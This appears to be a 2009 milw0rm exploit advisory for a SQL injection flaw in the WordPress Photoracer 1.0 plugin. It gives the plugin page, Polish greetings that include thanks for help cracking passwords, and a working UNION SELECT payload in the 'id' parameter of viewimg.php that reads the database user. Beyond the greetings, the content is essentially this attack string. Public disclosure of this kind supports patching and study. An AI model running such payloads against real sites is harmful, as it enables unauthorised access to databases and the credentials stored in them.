WordPress Plugin Photoracer 1.0 (id) SQL Injection Vulnerability Wordpress Photoracer Plugin => SQL injection http://wordpress.org/extend/plugins/photoracer/ Author: Kacper Website: http://devilteam.pl/ Pozdrawiam wszystkich z huba dc++, oraz wszystkich z forum, Pozdro: Ratman, Kopaczka, FDJ Elo: dla GLOBUSa za pomoc w crackowaniu hasel. Vuln: Code: http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8-- big thanks str0ke for you! be safe all # milw0rm.com [2009-06-15]